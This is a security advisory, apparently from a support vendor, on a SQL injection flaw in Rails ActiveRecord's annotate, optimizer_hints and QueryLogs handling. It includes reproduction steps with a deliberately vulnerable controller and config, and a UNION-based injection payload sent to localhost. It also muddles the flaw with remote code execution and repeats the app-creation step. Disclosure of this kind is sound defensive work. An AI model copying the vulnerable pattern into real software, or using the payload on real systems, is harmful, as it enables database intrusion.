Ruby on Rails (often called Rails) is a web application framework written in Ruby that emphasizes convention over configuration and the principle of "don't repeat yourself" (DRY). It provides developers with a structured and efficient way to build database-backed web applications through pre-built patterns for rapid development.
With this vulnerability in the ActiveRecord library, malicious input related to annotations may not receive sufficient sanitization thereby allowing SQL to be executed.
Remote code execution flaws are among the Top 10 Open Web Application Security Project (OWASP) vulnerabilities. They are among the most potentially damaging of vulnerabilities because injected, remotely executed code:
- can access internal application objects/methods
- can often bypass security controls
- may persist across sessions
- can often pivot to gain OS-level access.
Details
Module Info
- Product: Ruby on Rails Framework
- Affected packages: activerecord
- GitHub repository:
https://github.com/rails/rails/tree/main/activerecord - Published package: The individual ActiveRecord library or the entire Rails Framework (which includes ActiveStorage).
- Package manager: gem
Vulnerability Info
Although the sanitize_as_sql_comment() method was likely never intended to accept user input, it can and thus is vulnerable to this exploit. Carefully crafted input could bypass the sanitization it performs.
Malicious input could reach the method via the “annotate” query method, the “optimizer_hints” method or through the QueryLogs interface (which automatically adds annotations).
Addressing the Issue
Avoid passing user input to annotate() and avoid using QueryLogs configuration that can include user input.
Steps To Reproduce
1. Install a version of Rails that contains this vulnerability, such as 6.0.6.0:
gem install rails -v 6.0.6.0
rails _6.0.6.0_ new cve_test_app
cd cve_test_app
bundle install
2. Create a new Rails app with:
rails new cve22794_demo --skip-active-storage --skip-action-mailbox --skip-action-text
cd cve22794_demo
3. Set up the database:
rails db:create
rails db:migrate
4. Generate a simple Post model and seed the database:
rails generate model Post title:string content:text
rails db:migrate
5. Seed the database and run the seed:
# db/seeds.rb
Post.create(title: "First Post", content: "This is the first post.")
rails db:seed
6. Modify the configuration to be vulnerable:
config.active_record.query_log_tags = [
{
something: -> { params[:user_input] }
}
]
7. Create a controller to exploit the vulnerability by generating a PostsController:
rails generate controller Posts
Add the following to app/controllers/posts_controller.rb:
class PostsController < ApplicationController
def index
user_input = params[:user_input] || "/* default */"
# Exploiting annotate
@posts_annotate = Post.where(id: 1).annotate("#{user_input}")
# Exploiting optimizer_hints
@posts_optimizer = Post.where(id: 1).optimizer_hints("#{user_input}")
render plain: "Executed queries with user input."
end
end
8. Define routes by editing config/routes.rb to route to the vulnerable controller:
Rails.application.routes.draw do
get '/posts', to: 'posts#index'
end
9. Start the Rails server:
rails server
10. Exploit the vulnerability by opening your browser and navigating to:
http://localhost:3000/posts?user_input=*/UNION SELECT null, sqlite_version()--
This input is injected directly into SQL queries due to improper handling, demonstrating the vulnerability.
11. Observe Logs/Behavior by checking the Rails server logs or the database query logs to see if the injected SQL was executed.
QueryLogs Example
Below is an example of a vulnerable QueryLogs configuration (the default configuration is not vulnerable):
config.active_record.query_log_tags = [
{
something: -> { request.params[:user_input] }
}
]
request.params[:user_input] allows untrusted data to influence SQL queries or query logs, potentially leading to SQL injection or log injection.
Safer code will use sanitization:
config.active_record.query_log_tags = [
{
user_agent: -> { Rack::Utils.escape_html(request.user_agent) }
}
]
Credits
- Thanks to hmac_
Mitigation
Users of affected versions of Ruby on Rails should follow one of the following mitigations:
- Upgrade to a corrected version.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.